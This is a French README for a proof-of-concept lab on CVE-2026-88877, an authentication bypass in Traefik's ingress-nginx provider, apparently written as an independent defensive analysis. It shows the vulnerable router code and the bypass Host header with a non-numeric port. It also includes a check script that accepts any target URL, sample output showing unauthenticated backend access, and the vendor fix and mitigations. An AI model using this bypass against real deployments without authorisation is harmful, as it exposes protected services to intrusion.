
Preuve de concept et laboratoire reproductible pour CVE-2026-88877, un contournement d'authentification de Traefik ingress-nginx via from-to-www-redirect, avec un mode de vérification en lecture seule.
v3.7.0–v3.7.11 — Contournement d'authentification via from-to-www-redirectAuteur : pwnVader · Licence : MIT (racine du dépôt)
| Composant | Traefik (fournisseur ingress-nginx Kubernetes, providers.kubernetesingressnginx) |
| Type | CWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur |
| Affecté | Traefik >= v3.7.0, <= v3.7.11 (v2 et < v3.7.0 ne sont pas affectés) |
| Corrigé | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Critique, selon l'avis du fournisseur) · CVSS 3.1 9.8 (tel que publié par certaines bases de données de vulnérabilités) |
| Avis officiel | GHSA-cjr6-pf59-jq29 (avis du dépôt Traefik) |
| PoC | poc.sh · lab/ |
Statut de divulgation. Cette vulnérabilité a été divulguée publiquement par le projet Traefik et est corrigée dans la v3.7.12. Ce document est une analyse technique indépendante avec un laboratoire reproductible — il ne s'agit pas de la découverte originale. La vulnérabilité a été signalée/divulguée via l'avis du fournisseur listé ci-dessus (voir également l'avis VulnCheck). N'utilisez pas ce matériel contre des systèmes sans autorisation explicite.
Identifiants GHSA. L'avis officiel du dépôt est GHSA-cjr6-pf59-jq29. La base de données d'avis générique de GitHub contient également un enregistrement distinct, GHSA-9rch-gvf7-hrfc, pour le même problème ; lors de la citation de la vulnérabilité, préférez l'avis du dépôt.
Lorsqu'un Ingress porte à la fois une annotation d'authentification (par ex.
nginx.ingress.kubernetes.io/auth-type: basic) et
nginx.ingress.kubernetes.io/from-to-www-redirect: "true", le fournisseur ingress-nginx de Traefik
crée un routeur « frère » supplémentaire qui correspond uniquement à l'hôte, ne porte que le middleware
RedirectRegex généré, et pointe toujours vers le backend protégé :
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex n'est pas un gestionnaire terminal : si son expression régulière ne correspond pas, la requête est transmise
au gestionnaire suivant et finalement relayée vers le backend. L'expression régulière n'accepte qu'un port
numérique ((:[0-9]+)?), tandis que le matcher Host() de Traefik canonicalise l'autorité via
net.SplitHostPort. Une requête dont l'en-tête Host comporte un port non numérique ou vide :
Host("www.example.com")), maiswww.example.com:x), donc n'est pas redirigée, etUne seule requête non authentifiée — Host: www.example.com:x — atteint un backend qui exige
une authentification. Le statut HTTP retourné dépend du backend lui-même : dans ce laboratoire, le
backend traefik/whoami répond 200, mais le fait pertinent en matière de sécurité est que la requête
a atteint le backend sans authentification, et non le code de statut spécifique.
v3.7.0–v3.7.11 en cours d'exécution avec le fournisseur ingress-nginx activé
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true", pour un hôte sans contrepartie www.
(sinon le routeur frère n'est pas généré).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check peut également être pointé vers n'importe quel déploiement candidat :
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
Le backend utilisé dans le laboratoire (traefik/whoami) renvoie la requête, prouvant que la requête a atteint le
service protégé sans en-tête Authorization et sans middleware d'authentification appliqué. Le code de statut
affiché (200) est ce que ce backend particulier retourne ; avec un backend différent, le contournement peut
se manifester par une autre réponse non-401/403/non-redirection.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
Le routeur de redirection pointe désormais vers un service interne unavailable, de sorte que même si une requête
échappe à l'expression régulière, elle ne peut jamais atteindre un backend protégé.
Mettez à jour vers Traefik v3.7.12 ou ultérieur. Les installations qui ne peuvent pas être mises à jour doivent temporairement retirer
nginx.ingress.kubernetes.io/from-to-www-redirect de tout Ingress qui combine authentification ou
listes d'autorisation, et implémenter la redirection avec une configuration qui préserve les middlewares de
contrôle d'accès (par ex. des CRDs Traefik RedirectScheme/RedirectRegex explicites avec les middlewares
attachés). Défense en profondeur : appliquez également l'authentification au niveau du backend/upstream.
Pour des tests de sécurité autorisés uniquement. Le laboratoire est local et autonome ; le mode check est
en lecture seule (trois requêtes GET) et ne doit être utilisé que contre des systèmes que vous possédez ou que vous êtes explicitement
autorisé à tester.